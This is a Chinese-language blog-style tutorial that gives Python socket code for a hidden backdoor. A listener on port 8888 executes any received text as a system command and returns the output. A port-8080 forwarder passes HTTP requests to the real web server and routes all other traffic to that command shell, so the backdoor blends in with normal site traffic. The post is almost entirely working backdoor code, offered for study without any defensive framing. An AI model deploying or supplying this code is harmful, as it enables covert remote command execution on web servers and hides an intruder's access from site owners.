python基于socket进行端口转发实现后门隐藏的示例
人气:0思想:
用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。
8888端口监听代码:
#!/usr/bin/env python from socket import * import os HOST='127.0.0.1' PORT=8888 BUFSIZE=1024 ADDR=(HOST,PORT) tcpSerSock = socket(AF_INET,SOCK_STREAM) tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcpSerSock.bind(ADDR) tcpSerSock.listen(5) while True: print("waiting for connection...") tcpCliSock,addr = tcpSerSock.accept() print("...connected from:",addr) while True: data=tcpCliSock.recv(BUFSIZE) if not data: break info = data.split('\n') command = info[0] try: os.system(command + " > command.txt"); file = open('command.txt') data ="" for line in file: data=data+line; tcpCliSock.send(data) except Exception: tcpCliSock.send("Nothing to do") tcpCliSock.close() tcpSerSock.close()
8080端口转发代码:
#!/usr/bin/python from socket import * tcp1 = socket(AF_INET,SOCK_STREAM) tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp1.bind(('0.0.0.0',8080)) tcp1.listen(10) BUFFER_SIZE=2048 tcpCliSock,addr = tcp1.accept() while True: data = tcpCliSock.recv(BUFFER_SIZE) if 'HTTP' in data: tcp3 = socket(AF_INET,SOCK_STREAM) tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp3.connect(('127.0.0.1',80)) tcp3.send(data) htmlinfo = tcp3.recv(2048) if not htmlinfo: tcp3.close() else: tcpCliSock.send(htmlinfo) else: tcp2 = socket(AF_INET,SOCK_STREAM) tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp2.connect(('127.0.0.1',8888)) data = data.replace("\n"," ") print data tcp2.send(data) commandinfo = tcp2.recv(1024) tcpCliSock.send(commandinfo) tcp2.close() tcpCliSock.close() tcp1.close()
有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。
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